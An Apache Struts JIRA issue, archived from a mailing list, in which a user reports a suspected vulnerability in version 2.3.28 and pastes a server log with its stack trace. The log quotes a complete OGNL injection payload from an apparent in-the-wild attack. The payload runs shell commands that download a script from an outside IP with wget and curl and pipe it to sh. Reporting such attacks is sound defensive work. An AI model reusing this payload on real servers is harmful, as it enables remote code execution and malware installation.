struts-issues mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Vinay Kr Sharma (JIRA)" <j...@apache.org>
Subject [jira] [Created] (WW-4933) Critical Apache Struts 2.3.28 Vulnerability
Date Wed, 11 Apr 2018 12:32:00 GMT
Vinay Kr Sharma created WW-4933:
-----------------------------------

             Summary: Critical Apache Struts 2.3.28 Vulnerability
                 Key: WW-4933
                 URL: https://issues.apache.org/jira/browse/WW-4933
             Project: Struts 2
          Issue Type: Bug
    Affects Versions: 2.3.28
            Reporter: Vinay Kr Sharma


I have a version of Struts 2.3.28
my log:

2018-37-11 05:37:01 [http-nio-12004-exec-8] WARN JakartaMultiPartRequest:68- Unable to parse
request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't
contain a multipart/form-data or multipart/mixed stream, content type header is %\{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget
-O - -q http://140.82.33.181/java/oracle.jpg|sh; sleep 30s; curl http://140.82.33.181/java/oracle.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:\{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
 at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)
~[commons-fileupload-1.3.1.jar:1.3.1]
 at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)
~[commons-fileupload-1.3.1.jar:1.3.1]
 at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.1.jar:1.3.1]
 at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)
~[struts2-core-2.3.28.jar:2.3.28]
 at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
~[struts2-core-2.3.28.jar:2.3.28]
 at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
[struts2-core-2.3.28.jar:2.3.28]
 at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)
[struts2-core-2.3.28.jar:2.3.28]
 at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841) [struts2-core-2.3.28.jar:2.3.28]
 at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138)
[struts2-core-2.3.28.jar:2.3.28]
 at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)
[struts2-core-2.3.28.jar:2.3.28]
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
[catalina.jar:8.5.11]
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
[catalina.jar:8.5.11]
 at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) [catalina.jar:8.5.11]
 at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) [catalina.jar:8.5.11]
 at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:474)
[catalina.jar:8.5.11]
 at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) [catalina.jar:8.5.11]
 at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) [catalina.jar:8.5.11]
 at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) [catalina.jar:8.5.11]
 at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:349) [catalina.jar:8.5.11]
 at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:783) [tomcat-coyote.jar:8.5.11]
 at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) [tomcat-coyote.jar:8.5.11]
 at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:798)
[tomcat-coyote.jar:8.5.11]
 at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1434) [tomcat-coyote.jar:8.5.11]
 at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-coyote.jar:8.5.11]
 at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [?:1.8.0_112]
 at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [?:1.8.0_112]
 at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-util.jar:8.5.11]
 at java.lang.Thread.run(Thread.java:745) [?:1.8.0_112]



--
This message was sent by Atlassian JIRA
(v7.6.3#76005)

Mime
View raw message